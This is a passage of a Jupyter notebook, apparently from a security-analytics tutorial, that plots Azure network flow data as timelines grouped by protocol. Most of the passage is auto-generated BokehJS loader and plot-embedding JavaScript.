}\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
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parse_dates=[\"TimeGenerated\", \"FlowStartTime\", \"FlowEndTime\"], \n", " infer_datetime_format=True)\n", "\n", "flow_plot = nbdisplay.display_timeline_values(data=az_net_flows_df,\n", " group_by=\"L7Protocol\",\n", " source_columns=[\"FlowType\", \n", " \"AllExtIPs\", \n", " \"L7Protocol\", \n", " \"FlowDirection\", \n", " \"TotalAllowedFlows\"],\n", " time_column=\"FlowStartTime\",\n", " y=\"TotalAllowedFlows\",\n", " legend=\"right\",\n", " height=500);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "By default the plot uses vertical bars show the values but you can use any combination of vbar, circle and line, using the `kind` parameter. You specify the plot types as a list of strings (all lowercase).\n", "\n", "**Notes**\n", "- including \"circle\" in the plot kinds makes it easier to see the hover value\n", "- the line plot can be a bit misleading since it will plot lines between adjacent data points of the same series implying that there is a gradual change in the value being plotted - even though there may be no data between the times of these adjacent points. For this reason using vbar is often a more accurate view." ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:29.964338Z", "start_time": "2020-01-30T20:46:29.722475Z" } }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"3989\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"3989\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '3989' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"3989\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"3989\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };var element = document.getElementById(\"3989\");\n if (element == null) {\n console.error(\"Bokeh: ERROR: autoload.js configured with elementid '3989' but no matching script tag was found. \")\n return false;\n }\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"3989\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
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":\"4300\",\"type\":\"UnionRenderers\"}},\"id\":\"4240\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"4045\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"4240\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"4272\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"4273\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"4275\",\"type\":\"CDSView\"}},\"id\":\"4274\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null,\"data\":{\"AllExtIPs\":[\"10.0.3.4\",\"10.0.3.5\",\"10.0.3.4\",\"10.0.3.5\"],\"FlowDirection\":[\"I\",\"O\",\"I\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AIAn7CuOdkIAgCfsK452QgAAG5tFjnZCAAAbm0WOdkI=\",\"dtype\":\"float64\",\"shape\":[4]},\"FlowType\":[\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\"],\"L7Protocol\":[\"microsoft-ds\",\"microsoft-ds\",\"microsoft-ds\",\"microsoft-ds\"],\"TotalAllowedFlows\":{\"__ndarray__\":\"AAAAAAAAGEAAAAAAAAAYQAAAAAAAAAhAAAAAAAAACEA=\",\"dtype\":\"float64\",\"shape\":[4]},\"color\":[\"#277E8E\",\"#277E8E\",\"#277E8E\",\"#277E8E\"],\"index\":[417,418,419,420],\"y_index\":[3,3,3,3]},\"selected\":{\"id\":\"4238\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"4237\",\"type\":\"UnionRenderers\"}},\"id\":\"4181\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"4303\",\"type\":\"ColumnDataSource\"}},\"id\":\"4308\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"4038\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"4179\",\"type\":\"Selection\"},{\"attributes\":{\"data_source\":{\"id\":\"4303\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"4337\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"4338\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"4340\",\"type\":\"CDSView\"}},\"id\":\"4339\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"4154\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"4273\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"4368\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"4407\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"TotalAllowedFlows\",\"@TotalAllowedFlows\"],[\"FlowDirection\",\"@FlowDirection\"],[\"FlowType\",\"@FlowType\"],[\"L7Protocol\",\"@L7Protocol\"],[\"AllExtIPs\",\"@AllExtIPs\"]]},\"id\":\"3990\",\"type\":\"HoverTool\"},{\"attributes\":{\"source\":{\"id\":\"4126\",\"type\":\"ColumnDataSource\"}},\"id\":\"4131\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"4037\",\"type\":\"AdaptiveTicker\"}],\"root_ids\":[\"4480\"]},\"title\":\"Bokeh Application\",\"version\":\"1.4.0\"}};\n", " var render_items = [{\"docid\":\"ce2a1e3e-3cd6-4d46-845d-46cd3d3697a5\",\"roots\":{\"4480\":\"aab5acc2-a043-4e2e-a0b8-90dec9cbc442\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " clearInterval(timer);\n", " embed_document(root);\n", " } else {\n", " attempts++;\n", " if (attempts > 100) {\n", " clearInterval(timer);\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", " }\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "4480" } }, "output_type": "display_data" } ], "source": [ "flow_plot = nbdisplay.display_timeline_values(data=az_net_flows_df,\n", " group_by=\"L7Protocol\",\n", " source_columns=[\"FlowType\", \n", " \"AllExtIPs\", \n", " \"L7Protocol\", \n", " \"FlowDirection\", \n", " \"TotalAllowedFlows\"],\n", " time_column=\"FlowStartTime\",\n", " y=\"TotalAllowedFlows\",\n", " legend=\"right\",\n", " height=500,\n", " kind=[\"vbar\", \"circle\"]\n", " );" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:30.105258Z", "start_time": "2020-01-30T20:46:29.965337Z" } }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"4817\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"4817\");\n", " if (element 